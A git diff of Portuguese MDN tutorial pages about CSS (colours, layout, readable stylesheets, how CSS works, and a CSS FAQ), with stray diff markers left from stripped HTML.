Neste tutorial até agora, você usou um limitado número de cores nomeadas. CSS 2 suporta ao todo 17 cores nomeadas. Alguns dos nomes podem não ser o que você espera:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 black gray silver white 
primáriasred lime blue 
secundáriasyellow aqua fuchsia 
 maroon orange olive purple green navy teal 
+ +

 

+ + + + + + + + +
Mais detalhes
Seu navegador pode suportar muitas cores nomeadas, como: + + + + + + + + + + + + + + + +
dodgerblue peachpuff tan firebrick aquamarine 
+ +

Para detalhes sobre esta lista extendida, veja: SVG color keywords no CSS 3 Color Module. Cuidado ao usar cores nomeadas, pois seu navegador pode não suportar.

+
+ +


+ Para uma paleta maior, específica de cores de componentes vermelho, verde ou azul você precisa usar um sinal numérico (#) e três digitos hexadecimais na faixa de 0 – 9 e a – f. As letras a – f representam os valores 10 – 15:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
black #000
pure red #f00
pure green #0f0
pure blue #00f
white #fff
+ +


+ Para a paleta total, especifique dois digitos hexadecimais por cada componente:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
black #000000
pure red #ff0000
pure green #00ff00
pure blue #0000ff
white #ffffff
+ +

Você pode usualmente pegar estes seis digitos em código hexadeximal de seu programa de imagens ou alguma outra ferramenta.

+ + + + + + + + + + + +
Exemplos
Com uma pequena prática, você pode ajustar as cores de três digitos manualmente para a maioria dos propósitos: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Começe com vermelho puro: #f00
Para tornar isto mais pálido, adicione um pouco de verde e azul: #f77
Para tornar isto mais alaranjado, adicione um pouquinho mais de verde: #fa7
Para tornar isto mais escuro, reduza todos os componentes: #c74
Para reduzir a saturação, faça os componentes mais parecidos: #c98
Se você quiser deixar todos os componentes iguais, você obterá cinza: #ccc
+
Para uma sombra pastel como azul pálido: + + + + + + + + + + + + + +
Começe com branco puro: #fff
Reduza um pouco os outros componentes: #eef
+
+ + + + + + + + +
Mais detalhes
Você pode também especificar uma cor usando valores decimais RGB na faixa de 0 – 255, ou porcentagens. +

Por exemplo, este marrom (vermelho escuro):

+ +
+
+rgb(128, 0, 0)
+
+
+ +


+ Para maiores detalhes sobre como especificar cores, veja: Colors na CSS Specification.

+ +

Para informação sobre sistema de cores combinadas como o Menu and ThreeDFace, veja: CSS2 System Colors na CSS Specification.

+
+ +

Propriedades de cor

+ +

Você já usou a propriedade color para textos.

+ +

Você também já usou a propriedade background-color para mudar elementos de fundo.

+ +

Fundos podem ser configurados para transparent para remover qualquer cor explicitamente, reavaliando os elementos principais do fundo.

+ + + + + + + + +
Exemplo
As caixas de Exemplo neste tutorial usam este fundo amarelo pálido: +
+
+background-color: #fffff4;
+
+
+ +

As caixas de Mais detalhes usam esta paleta cinza:

+ +
+
+background-color: #f4f4f4;
+
+
+
+ +

Ação: Usando códigos de cor

+ +

Edite seu arquivo CSS. Faça a mudança mostrada aqui em negrito, para dar às letras iniciais um fundo azul pálido. (O layout e os comentários no seu arquivo irão provavelmente diferir do arquivo mostrado aqui. Mantenha o layout e os comentários como você preferir.)

+ +
+
/*** CSS Tutorial: Página de Cor ***/
+
+/* Fonte da Página */
+body {font: 16px "Comic Sans MS", cursive;}
+
+/* Parágrafos */
+p {color: blue;}
+#first {font-style: italic;}
+
+/* Letras Iniciais */
+strong {
+  color: red;
+  background-color: #ddf;
+  font: 200% serif;
+  }
+
+.carrot {color: red;}
+.spinach {color: green;}
+
+
+ +

Atualize seu navegador para ver o resultado:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ + + + + + + + +
Desafio
No seu arquivo CSS, mude todos os nomes das cores para o código de cor com três digitos sem afetar o resultado. +

(Isto não pode ser feito exatamente, mas você pode deixar parecido. Para fazer isso exatamente você precisa do código com seis dígitos, e você precisa olhar a Especificação CSS ou usar uma ferramenta gráfica para converter as cores.)

+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Seu documento de amostra e sua folha de estilo de amostra separam rigorosamente o conteúdo do estilo.

+ +

A próxima página explica como você pode fazer exceções para separar rigorosamente: Conteúdo

+ +

{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}

diff --git a/files/pt-pt/learn/css/css_layout/index.html b/files/pt-pt/learn/css/css_layout/index.html new file mode 100644 index 0000000000..0612aad9b5 --- /dev/null +++ b/files/pt-pt/learn/css/css_layout/index.html @@ -0,0 +1,453 @@ +--- +title: Disposição +slug: Web/CSS/Como_começar/Disposição +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/CSS_layout +translation_of_original: Web/Guide/CSS/Getting_started/Layout +--- +

{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}

+ +

Esta página descreve algumas maneiras para ajustar a disposição do seu documento.

+ +

Você muda a disposição do seu documento de amostra...

+ +

Informação: Disposição

+ +

Você pode usar as CSS para especificar vários efeitos visuais que mudam a disposição do seu documento. Algumas técnicas para especificação da disposição são avançadas,e além do alcance deste tutorial básico.

+ +

Quando você desenha uma disposição que aparece similar em vários navegadores, sua folha de estilo interage com a folha de estilo padrão do navegador e o motor de disposição em alguns caminhos pode se tornar complexo. Isto é também uma matéria avançada, além do alcance deste tutorial básico.

+ +

Esta página descreve algumas técnicas simples que você pode tentar.

+ +

Estrutura do documento

+ +

Se você quer controlar a disposição do seu documento, então você pode ter que mudar sua estrutura.

+ +

A linguagem de marcação do seu documento pode ter tags com propósito geral para criar a estrutura. Por exemplo, no HTML você pode usar a tag DIV para criar a estrutura.

+ + + + + + + + +
Exemplo
No seu documento de amostra, os parágrafos numerados sob o segundo título não tem um "recipiente" próprio. +

Sua folha de estilo não pode desenhar uma borda ao redor destes parágrafos, porque não há elemento especificado no seletor.

+ +

Para fixar este problema estrutural, você pode adicionar uma tag DIV em torno dos parágrafos. Esta tag é única, então isto pode ser identificado por um atributo id:

+ +
+
+<H3 class="numbered">Parágrafos numerados</H3>
+<DIV id="numbered">
+<P class="numbered">Lorem ipsum</P>
+<P class="numbered">Dolor sit</P>
+<P class="numbered">Amet consectetuer</P>
+<P class="numbered">Magna aliquam</P>
+<P class="numbered">Autem veleum</P>
+</DIV>
+
+
+ +

Agora sua folha de estilo pode use uma regra para especificar bordas em tordo de ambas as listas:

+ +
+
+ul, #numbered {
+  border: 1em solid #69b;
+  padding-right:1em;
+  }
+
+
+ +

O resultado deve ser como este:

+ + + + + + + +
+

(A) Os oceanos

+ +
+
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+
+ +

(B) Parágrafos numerados

+ +
+

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+
+
+ +

Tamanhos das unidades

+ +

Anteriormente neste tutorial, você especificou tamanhos em pixels (px). Estes são apropriados para alguns propósitos em um dispositivo de exposição como uma tela de computador. Mas quando o usuário muda o tamanho da fonte, sua disposição pode ficar errada.

+ +

Para muitos propósitos é melhor especificar tamanhos com porcentagem ou em ems (em). Um em é nominalmente o tamanho da fonte corrente (a largura de uma letra m). Quando o usuário muda o tamanho da fonte, sua disposição ajusta-se automaticamente.

+ + + + + + + + +
Exemplo
A borda da esquerda deste texto tem o tamanho especificado em pixels. +

A borda da direita tem o tamanho especificado em ems. No seu navegador, mude o tamanho da fonte para ver como a borda da direita se ajusta mas a borda da esquerda não:

+ + + + + + + +
+
Redimensione-me por favor
+
+
+ + + + + + + + +
Mais detalhes
Para outros dispositivos, outras unidades de comprimento são apropriadas. +

Há mais informação sobre isto em uma página anterior deste tutorial.

+ +

Para detalhes completos sobre os valores e unidades que você pode usar, veja Values em CSS Specification.

+
+ +

Disposição do texto

+ +

Duas propriedades especificam como o conteúdo de um elemento é alinhado. Você pode usá-las para ajustes simples na disposição:

+ + + +
+
Alinha o conteúdo. Use um destes valores: left, right, center, justify
+
+ + + +
+
Indenta o conteúdo, colocando o espaço que você especificar.
+
+ +

Estas propriedades aplicam-se a qualquer conteúdo como texto no elemento, não somente ao texto atual. Lembre-se que elas são herdadas pelo elemento filho, então você pode ter que desativá-las nos elementos filhos para não se surpreender com os resultados.

+ + + + + + + + +
Exemplo
Para centralizar títulos: +
+
+h3 {
+  border-top: 1px solid gray;
+  text-align: center;
+  }
+
+
+ +

Resulta em:

+ + + + + + + +
+

(A) Os oceanos

+
+ +

Em um documento HTML, o conteúdo que você vê abaixo do título não é contido estruturalmente pelo título. Então quando você alinha um título como isto, as tags abaixo do título não são afetadas pela herança.

+
+ +

Flutuantes

+ +

A propriedade float força um elemento para a esquerda ou direita. Isto é uma maneira simples de controlar sua posição e tamanho.

+ +

O resto do conteúdo do documento normalmente flui ao redor do elemento flutuado. Você pode controlar isto usando a propriedade clear em outros elementos para fazê-los permanecer sem flutuantes.

+ + + + + + + + +
Exemplo
Em seu documento de amostra, as listas esticam através da janela. Você pode prevenir isto flutuando-os para a esquerda. +

Para manter os títulos no lugar, você precisa também especificar que eles permaneçam limpos de flutuantes à sua esquerda:

+ +
+
+ul, #numbered {float: left;}
+h3 {clear: left;}
+
+
+ +

O resultado deve se parecer com isto:

+ + + + + + + +
+

(A) Os oceanos

+ +
+
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+
+ +

(B) Parágrafos numerados

+ +
+

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+
+ +

(Um pequeno enchimento é necessário à direita das caixas, onde a borda fica muito perto do texto.)

+
+ +

Posicionamento

+ +

Você pode especificar a posição dos elementos de quatro maneiras, especificando a propriedade position e um dos valores seguintes:

+ +

Estas são propriedades avançadas. É possível usá-las de maneiras simples — esta é a razão pela qual elas são mencionadas neste tutorial básico. Mas usando-as para disposições complexas pode-se dificultar.

+ + + +
+
A posição do elemento é alterada relativamente à sua posição normal.
+
Use-o para mover um elemento por uma quantidade especificada. Às vezes você pode usar a margem do elemento para obter o mesmo efeito.
+
+ + + +
+
A posição do elemento é fixa.
+
Especifique a posição do elemento relativa à janela do documento. Mesmo que o resto do documento seja rolado, o elemento permanece fixo.
+
+ + + +
+
A posição do documento é fixada relativamente a um elemento pai.
+
Somente um elemento pai que esteja posicionado com relative, fixed ou absolute o fará.
+
+ +
+
Você pode tornar qualquer elemento principal apropriado, especificando position: relative; sem especificar qualquer movimento.
+
+ + + +
+
O padrão. Use este valor caso precise desativar a posição explicitamente.
+
+ +

Agora, com estes valores da propriedade position (exeto para static), especifique uma ou mais propriedades: top, right, bottom, left, width, height para identificar onde você quer que o elemento apareça, e talvez também seu tamanho.

+ + + + + + + + +
Exemplo
Para posicionar dois elementos no topo, crie um "recipiente" principal em seu documento com os dois elementos dentre dele: +
+
+<DIV id="parent-div">
+<P id="forward">/</P>
+<P id="back">\</P>
+</DIV>
+
+
+ +

Na sua folha de estilo, faça a posição principal relative. Ela não precisa que seja especificado qualquer movimento atual. Faça a posição subordinada absolute:

+ +
+
+#parent-div {
+  position: relative;
+  font: bold 200% sans-serif;
+  }
+
+#forward, #back {
+  position: absolute;
+  margin:0px;
+  top: 0px;
+  left: 0px;
+  }
+
+#forward {
+  color: blue;
+  }
+
+#back {
+  color: red;
+  }
+
+
+ +

O resultado deve ser como isto, com a contra barra (\) sobre a barra (/):

+ +
+

/

+ +

\

+
+ + + + + + + +
 
+ +

 

+
+ + + + + + + + +
Mais detalhes
A história completa sobre posicionamento toma dois complexos capítulos em CSS Specification: Visual formatting model e Visual formatting model details. +

Se você está desenhando folhas de estilo para trabalharem em vários navegadores, então você também precisa levar em conta as diferenças na maneira em que os navegadores interpretam o padrão, e talvez bugs em algumas versões de alguns navegadores.

+
+ +

Ação: Especificando a disposição

+ +

Mude seu documento de amostra e sua folha de estilo usando os exemplos anteriores nas seções Estrutura do documento e Flutuantes.

+ +

No exemplo dos Flutuantes, adicione enchimento para separar o texto da borda direita por 0,5 em.

+ + + + + + + + +
Desafio
Mude seu documento de amostra, adicionando esta tag perto do fim, somente antes de </BODY> +
+<IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
+
+ +

Se você não baixou o arquivo de imagem anteriormente neste tutorial, baixe-o agora:

+ + + + + + + +
Image:Yellow-pin.png
+ +

Prediga onde a imagem irá aparecer no seu documento. Então atualize seu navegador para ver se você estava certo.

+ +

Adicione uma regra à sua folha de estilo que fixe a imagem no topo e a direita do seu documento.

+ +

Atualize seu navegador e diminua o tamanho da janela. Cheque se a imagem permanece no topo e a direita mesmo que você role seu documento:

+ +
+
+

(A) Os oceanos

+ +
+
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+
+ +

(B) Parágrafos numerados

+ +
+

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+ +

 

+ +
Yellow map pin
+
+
+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

A próxima página descreve seletores para regras mais avançadas das CSS, e algumas maneiras específicas de estilizar tabelas: Tabelas

+ +

{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}

diff --git a/files/pt-pt/learn/css/estilo_de_texto/index.html b/files/pt-pt/learn/css/estilo_de_texto/index.html deleted file mode 100644 index 5d00bc90c5..0000000000 --- a/files/pt-pt/learn/css/estilo_de_texto/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Estilizar texto -slug: Learn/CSS/Estilo_de_texto -tags: - - CSS - - Hiperligações - - Principiante - - Texto - - Tipos de Letra - - letra - - lina - - listas - - modulo - - sombra - - tipo de letra - - tipos de letra da Web -translation_of: Learn/CSS/Styling_text ---- -
{{LearnSidebar}}
- -

Com os conceitos básicos da linguagem CSS cobertos, o próximo tópico de CSS para se concentrar será o estilo de texto - uma das coisas mais comuns que irá fazer com CSS. Aqui, nós vamos ver os fundamentos do estilo de texto, incluindo a configuração do tipo de letra, negrito, itálico, espaçamento de linha e letra, sombras e outros recursos de texto. Nós completamos o módulo ao analisar a aplicação de tipos de letra personalizadas para a sua página, e listas de estilo e hiperligações.

- -

Pré-requisitos

- -

Before starting this module, you should already have basic familiarity with HTML, as discussed in the Introduction to HTML module, and be comfortable with CSS fundamentals, as discussed in Introduction to CSS.

- -
-

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin, CodePen or Thimble.

-
- -

Guias

- -

This module contains the following articles, which will teach you all of the essentials behind styling HTML text content.

- -
-
Fundamental text and font styling
-
In this article we go through all the basics of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
-
Styling lists
-
Lists behave like any other text for the most part, but there are some CSS properties specific to lists that you need to know about, and some best practices to consider. This article explains all.
-
Styling links
-
When styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs. We'll look at all these topics in this article.
-
Web fonts
-
Here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling.
-
- -

Avaliações

- -

The following assessments will test your understanding of the text styling techniques covered in the guides above.

- -
-
Typesetting a community school homepage
-
In this assessment we'll test your understanding of styling text by getting you to style the text for a community school's homepage.
-
- -
- - - - - -
diff --git a/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html b/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html new file mode 100644 index 0000000000..08ede46aa3 --- /dev/null +++ b/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html @@ -0,0 +1,188 @@ +--- +title: CSS legível +slug: Web/CSS/Como_começar/CSS_legível +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable +translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS +--- +

{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}

+ +

Esta página discute o estilo e a gramática da linguagem CSS.

+ +

Você muda a maneira em que seu arquivo de amostra CSS é exibido, para torná-lo mais legível.

+ +

Informação: CSS legível

+ +

Você pode adicionar espaço em branco e comentários na sua folha de estilo para fazê-la mais legível. Você pode também juntar seletores de grupo, quando as mesmas regras de estilo se aplicam aos elementos selecionados em meios diferentes.

+ +

Espaço em branco

+ +

Espaços em branco significam espaços reais, tabs e quebras de linha. Você pode adicionar espaços em branco para tornar suas folhas de estilo mais legíveis.

+ +

Seu arquivo de amostra de CSS atualmente tem uma regra por linha, e quase o mínimo de espaço em branco. Em uma uma folha de estilo complexa esta disposição pode dificultar a leitura, dificultando também a manutenção da sua folha de estilo.

+ +

A disposição que você escolhe é usualmente um preferência pessoal, mas se suas folhas de estilo são parte de projetos compartilhados, estes projetos podem ter suas próprias convenções.

+ + + + + + + + +
Exemplos
Algumas pessoas gostam de uma diposição compacta que temos usado, somente dividindo a linha quando ela se torna muito longa: +
+.carrot {color: orange; text-decoration: underline; font-style: italic;}
+
+ +

Algumas pessoas preferem uma propriedade-valor por linha:

+ +
+
+.carrot
+{
+color: orange;
+text-decoration: underline;
+font-style: italic;
+}
+
+
+ +

Algumas pessoas usam tabs – dois espaços, quatro espaços, ou um tab são comuns:

+ +
+
+.carrot {
+  color: orange;
+  text-decoration: underline;
+  font-style: italic;
+}
+
+
+ +

Algumas pessoas gostam de enfileirar a linha verticalmente (mas é difícil de manter uma disposição assim):

+ +
+
+.carrot
+    {
+    color           : orange;
+    text-decoration : underline;
+    font-style      : italic;
+    }
+
+
+ +

Algumas pessoas usam tabs para a disposição. Algumas pessoas usam somente espaços.

+
+ +

Comentários

+ +

Comentários em CSS começam com /* e terminam com */.

+ +

Você pode usar comentários para fazer comentários reais na sua folha de estilo, e também para descomentar partes que estiverem temporariamente para propósito de testes.

+ +

Para comentar parte da folha de estilo, coloque a parte em um comentário então o navegador ignorará isso. Tome cuidado onde você começa e termina o seu comentário. O resto da sua folha de estilo ainda deve ter a sintaxe correta.

+ + + + + + + + +
Exemplo
+
+
+/* Estilo para a letra C inicial no primeiro parágrafo */
+.carrot {
+  color:            orange;
+  text-decoration:  underline;
+  font-style:       italic;
+  }
+
+
+
+ +

Seletores agrupados

+ +

Quando muitos elementos tiverem o mesmo estilo, você pode especificar um grupo de seletores, separando-os com comentários. A declaração se aplica a todos os elementos selecionados.

+ +

Em outra parte da sua folha de estilo você pode especificar os mesmos seletores, de novo individualmente, para aplicar estilo individual às suas regras.

+ + + + + + + + +
Exemplo
Esta regra faz os elementos H1, H2 and H3 da mesma cor. +

Isto é conveniente para especificar a cor em somente um lugar, no caso em que precisa ser alterado.

+ +
+
+/* cores para os cabeçalhos */
+h1, h2, h3 {color: navy;}
+
+
+
+ +

Ação: Adicionando comentários e melhorando o arranjo

+ +

Edite seu arquivo CSS, e assegure-se que ele tem todas as regras nele (em qualquer ordem):

+ +
+
strong {color: red;}
+.carrot {color: orange;}
+.spinach {color: green;}
+#first {font-style: italic;}
+p {color: blue;}
+
+
+ +

Faça isto mais legível rearranjando isto em um meio que possa ser achado lógicamente, adicionando espaços em branco e comentários da maneira que você achar melhor.

+ +

Salve o arquivo e atualize a tela do seu navegador, assegure-se que as mudanças que você fez não afetaram o modo como a folha de estilo trabalha:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ + + + + + + + +
Desafio
Comente parte de sua folha de estilo, sem mudar qualquer coisa, para fazer a primeira letra de seu documento vermelha: + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +

(Existe mais de uma maneira de fazer isto.)

+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Seu documento de amostra usou o texto em itálico e o texto com sublinhado. A próxima página descreve mais caminhos para especificar a aparência do texto no seu documento: Estilos de texto

+ +

{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}

diff --git a/files/pt-pt/learn/css/first_steps/how_css_works/index.html b/files/pt-pt/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..bd667439ff --- /dev/null +++ b/files/pt-pt/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,130 @@ +--- +title: Como o CSS trabalha +slug: Web/CSS/Como_começar/Como_o_CSS_trabalha +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works +--- +

{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}

+ +

Esta página explica como o CSS trabalha no seu navegador. Você analiza seu documento de amostra, reavaliando os detalhes do seu estilo.

+ +

Informação: Como o CSS trabalha

+ +

Quando o Mozilla exibe um documento, é necessário combinar o conteúdo do documento com seu estilo de informação. Então o documento é processado em dois estágios:

+ + + + + +

Uma linguagem de marcação usa tags para definir a estrutura do documento. Uma tag pode armazenar outras tags entre seu início e fim.

+ +

Um DOM tem a estrutura como a de uma árvore. Cada tag e período do texto na linguagem de marcação torna-se um na estrutura da árvore. Os nós do DOM não são armazenadores. Em substituição, eles são primários aos nós subordinados.

+ +

Os nós que correspondem a tags também são conhecidos por elementos.

+ + + + + + + + +
Exemplo
No seu documento de amostra, a tag <p> e seu fim </p> criam um armazenamento: +
+
+<p>
+  <strong>C</strong>ascading
+  <strong>S</strong>tyle
+  <strong>S</strong>heets
+</p>
+
+
+ +

No DOM, o corespondente ao nó P é um primário. Os subordinados são os nós STRONG e os nós do texto. Os nós STRONG são os primários, e os nós do texto são os subordinados.

+ +
+

P ├─STRONG │ │ │ └─"C"
+ │
+ ├─"ascading"
+ │
+ ├─STRONG │ │ │ └─"S"
+ │
+ ├─"tyle"
+ │
+ ├─STRONG │ │ │ └─"S"
+ │
+ └─"heets"

+
+
+ +

O entendimento do DOM ajuda-o a projetar, depurar e manter seu CSS, pois o DOM é onde o seu CSS e o conteúdo do documento se unem.

+ +

Ação: Analizando um DOM

+ +

Para analizar um DOM, você precisa de um software especial. Aqui, você usa o DOM Inspector (DOMi) da Mozilla para analizar um DOM.

+ +

Use seu navegador Mozilla para abrir seu documento simples.

+ +

Na barra de menu do seu navegador, escolha Ferramentas – DOM Inspector, ou talvez Ferramentas – Desenvolvimento Web – DOM Inspector.

+ + + + + + + + +
Mais detalhes
Se seu navegador Mozilla não tem o DOMi, você pode reinstalá-lo assegurando-se de escolher para instalar o componente de ferramentas da web. Então retorne a este tutorial. +

Se você não quiser instalar o DOMi, você pode pular esta seção e ir diretamente para a próxima página. Pulando esta seção você não interfere com o resto deste tutorial.

+
+ +


+ No DOMi, expanda os nós do seu documento clicando em suas flechas.

+ +

Nota: O espaçamento em seu arquivo HTML faz com que o DOMi mostre alguns nós de texto vazios, que você pode ignorar.

+ +

O resultado deve ser parecido com isto, dependendo do que você tenha expandido:

+ + + + + + + +
+
+


+ P │ │ │ STRONG │ │ └#text │ ├╴#textSTRONG │ │

+
+
+ +

Quando você seleciona algum nó, você pode usar o painel direito do DOMi para achar mais sobre ele. Por exemplo, quando você seleciona um nó do texto, DOMi mostra para você o texto no painel da direita.

+ +

Quando você seleciona um elemento nó, DOMi o analiza e fornece uma enorme quantidade de informações no seu painel direito. A informação sobre estilo é somente uma parte das informações que ele fornece.

+ + + + + + + + +
Desafio
No DOMi, clique no nó STRONG. +

Use o painel direito do DOMi para achar onde fica a cor do nó (vermelho) e onde sua aparência é mais forte que o texto normal (negrito).

+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Se você tomou o desafio, você viu o estilo da informação em mais de um lugar interagir para criar o estilo final para um elemento.

+ +

A próxima página explica mais sobre estas interações: Cascata e herança

+ +

{{ PreviousNext("CSS:Como começar:Porque usar CSS", "CSS:Como começar:Cascata e herança") }}

diff --git a/files/pt-pt/learn/css/first_steps/index.html b/files/pt-pt/learn/css/first_steps/index.html new file mode 100644 index 0000000000..fa514756bd --- /dev/null +++ b/files/pt-pt/learn/css/first_steps/index.html @@ -0,0 +1,92 @@ +--- +title: Como começar +slug: Web/CSS/Como_começar +tags: + - CSS + - 'CSS:Como_começar' + - Todas_as_Categorias +translation_of: Learn/CSS/First_steps +translation_of_original: Web/Guide/CSS/Getting_started +--- +

 

+ +

Introdução

+ +

Este tutorial o introduz às CSS (Cascading Style Sheets - Folhas de Estilo em Cascata).

+ +

Este tutorial o orienta nos recursos básicos de CSS com exemplos práticos que você pode experimentar sozinho em seu computador. Ele é dividido em duas partes:

+ + + + + +

Este tutorial é baseado na CSS 2.1 Specification.

+ +

Quem deve ler este tutorial?

+ +

Este tutorial é direcionado para iniciantes em CSS, mas você também poderá usá-lo caso tenha alguma experiência em CSS.

+ +

Se você é um iniciante em CSS, leia a Parte I deste tutorial para entender CSS e aprender a usá-lo. Em seguida, leia a Parte II para entender o escopo de CSS no Mozilla.

+ +

Se você conhece CSS, poderá ignorar as partes desse tutorial que já conhece e ler apenas as partes que lhe interessam.

+ +

Se você já tem experiência em CSS mas não no Mozilla, pode ir direto para a Parte II.

+ +

O que você precisa antes de começar?

+ +

Para melhor aproveitar este tutorial, você precisa de um editor de arquivos de texto e um navegador Mozilla (Firefox, Mozilla Suite ou Seamonkey). Você também deve saber como utilizá-los de um modo básico.

+ +

Se não deseja editar arquivos, você pode apenas ler o tutorial e observar as imagens, mas este não é o melhor modo de aprendizado.

+ +

Poucas partes deste tutorial podem requerer outro software Mozilla. Essas partes são opcionais. Você pode ignorar essas partes se não desejar fazer o download de outro software Mozilla.

+ +

Nota: As CSS oferece modos de se trabalhar com cores, de modo que partes deste tutorial dependem de cores. Você poderá utilizar essas partes facilmente somente se tiver um monitor colorido e uma visão colorida normal.

+ +

Como utilizar este tutorial

+ +

Para utilizar este tutorial, leia cuidadosamente as páginas e em seqüência. Se perder uma página, você poderá ter dificuldades para entender as páginas posteriores.

+ +

Em cada página, utilize a seçãoInformações para entender como o CSS funciona. Utilize a seçãoAções para tentar usar o CSS em seu próprio computador.

+ +

Para testar seus conhecimentos, faça o teste ao final de cada página. As soluções para alguns testes são reveladas nas páginas posteriores no tutorial.

+ +

Para se aprofundar em CSS, leia as informações nas caixas entituladasMais detalhes. Utilize os links para localizar informações referentes às CSS.

+ +

Tutorial Parte I

+ +

Um guia passo-a-passo para CSS.

+ +
    +
  1. O que é CSS
  2. +
  3. Porque usar CSS
  4. +
  5. Como o CSS trabalha
  6. +
  7. Cascata e herança
  8. +
  9. Seletores
  10. +
  11. CSS legível
  12. +
  13. Estilos de texto
  14. +
  15. Cor
  16. +
  17. Conteúdo
  18. +
  19. Listas
  20. +
  21. Caixas
  22. +
  23. Disposição
  24. +
  25. Tabelas
  26. +
  27. Média
  28. +
+ +

Tutorial Parte II

+ +

Exemplos que mostram o escopo da CSS no Mozilla.

+ +
    +
  1. JavaScript
  2. +
  3. XBL bindings
  4. +
  5. Interfaces de usuário XUL
  6. +
  7. Gráficos SVG
  8. +
  9. Dados XML
  10. +
+ +

{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}

diff --git a/files/pt-pt/learn/css/howto/css_faq/index.html b/files/pt-pt/learn/css/howto/css_faq/index.html new file mode 100644 index 0000000000..357e271657 --- /dev/null +++ b/files/pt-pt/learn/css/howto/css_faq/index.html @@ -0,0 +1,229 @@ +--- +title: Perguntas Frequentes sobre CSS +slug: Learn/CSS/Howto/FAQ_de_CSS +tags: + - CSS + - Exemplo + - FAQ + - Guía + - Web + - questões +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +

Why doesn't my CSS, which is valid, render correctly?

+ +

Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance.

+ +

Modern browsers have two main rendering modes:

+ + + +

Gecko-based browsers, have a third Almost Standards Mode that has only a few minor quirks.

+ +

This is a list of the most commonly used DOCTYPE declarations that will trigger Standards or Almost Standards mode:

+ +
<!DOCTYPE html> /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+                   parser, this is the recommended doctype */
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+ +

When at all possible, you should just use the HTML5 doctype.

+ +

Why doesn't my CSS, which is valid, render at all?

+ +

Here are some possible causes:

+ + + +

What is the difference between id and class?

+ +

HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.

+ + + +

